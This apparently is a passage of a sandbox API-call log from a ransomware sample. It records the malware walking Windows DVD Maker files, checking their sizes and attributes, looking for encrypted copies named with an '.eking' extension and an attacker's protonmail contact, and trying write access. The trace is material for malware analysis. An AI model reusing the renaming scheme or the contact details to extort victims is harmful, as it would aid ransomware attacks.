[0183.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.064] SetEvent (hEvent=0x174) returned 1 [0183.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0183.066] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=542466) returned 1 [0183.066] CloseHandle (hObject=0x1e8) returned 1 [0183.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv")) returned 0x20 [0183.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv")) returned 0x20 [0183.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.066] SetEvent (hEvent=0x174) returned 1 [0183.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0183.068] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5072) returned 1 [0183.068] CloseHandle (hObject=0x1e8) returned 1 [0183.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp")) returned 0x20 [0183.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp")) returned 0x20 [0183.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.069] SetEvent (hEvent=0x174) returned 1 [0183.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0183.070] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3462) returned 1 [0183.070] CloseHandle (hObject=0x1e8) returned 1 [0183.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png")) returned 0x20 [0183.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png")) returned 0x20 [0183.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.071] SetEvent (hEvent=0x174) returned 1 [0183.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0183.072] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3390) returned 1 [0183.072] CloseHandle (hObject=0x1e8) returned 1 [0183.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png")) returned 0x20 [0183.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png")) returned 0x20 [0183.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.073] SetEvent (hEvent=0x174) returned 1 [0183.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0183.074] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3214) returned 1 [0183.074] CloseHandle (hObject=0x1e8) returned 1 [0183.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png")) returned 0x20 [0183.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png")) returned 0x20 [0183.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.074] SetEvent (hEvent=0x174) returned 1 [0183.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0183.077] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=4570) returned 1 [0183.077] CloseHandle (hObject=0x1e8) returned 1 [0183.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png")) returned 0x20 [0183.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png")) returned 0x20 [0183.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.078] SetEvent (hEvent=0x174) returned 1 [0183.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0183.079] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=2820) returned 1 [0183.079] CloseHandle (hObject=0x1e8) returned 1 [0183.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png")) returned 0x20 [0183.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png")) returned 0x20 [0183.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.080] SetEvent (hEvent=0x174) returned 1 [0183.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0183.081] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5088) returned 1 [0183.081] CloseHandle (hObject=0x1e8) returned 1 [0183.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png")) returned 0x20 [0183.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png")) returned 0x20 [0183.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.081] SetEvent (hEvent=0x174) returned 1 [0183.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0183.083] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3130) returned 1 [0183.083] CloseHandle (hObject=0x1e8) returned 1 [0183.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png")) returned 0x20 [0183.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png")) returned 0x20 [0183.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.083] SetEvent (hEvent=0x174) returned 1 [0183.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0183.084] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5025) returned 1 [0183.084] CloseHandle (hObject=0x1e8) returned 1 [0183.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png")) returned 0x20 [0183.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png")) returned 0x20 [0183.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.085] SetEvent (hEvent=0x174) returned 1 [0183.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0183.086] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3118) returned 1 [0183.086] CloseHandle (hObject=0x1e8) returned 1 [0183.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png")) returned 0x20 [0183.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png")) returned 0x20 [0183.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.087] SetEvent (hEvent=0x174) returned 1 [0183.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0183.088] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=4955) returned 1 [0183.088] CloseHandle (hObject=0x1e8) returned 1 [0183.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png")) returned 0x20 [0183.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png")) returned 0x20 [0183.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.088] SetEvent (hEvent=0x174) returned 1 [0183.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0183.090] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3081) returned 1 [0183.090] CloseHandle (hObject=0x1e8) returned 1 [0183.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png")) returned 0x20 [0183.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png")) returned 0x20 [0183.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.090] SetEvent (hEvent=0x174) returned 1 [0183.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.292] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=21627) returned 1 [0183.292] CloseHandle (hObject=0x1e0) returned 1 [0183.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png")) returned 0x20 [0183.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png")) returned 0x20 [0183.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.293] SetEvent (hEvent=0x174) returned 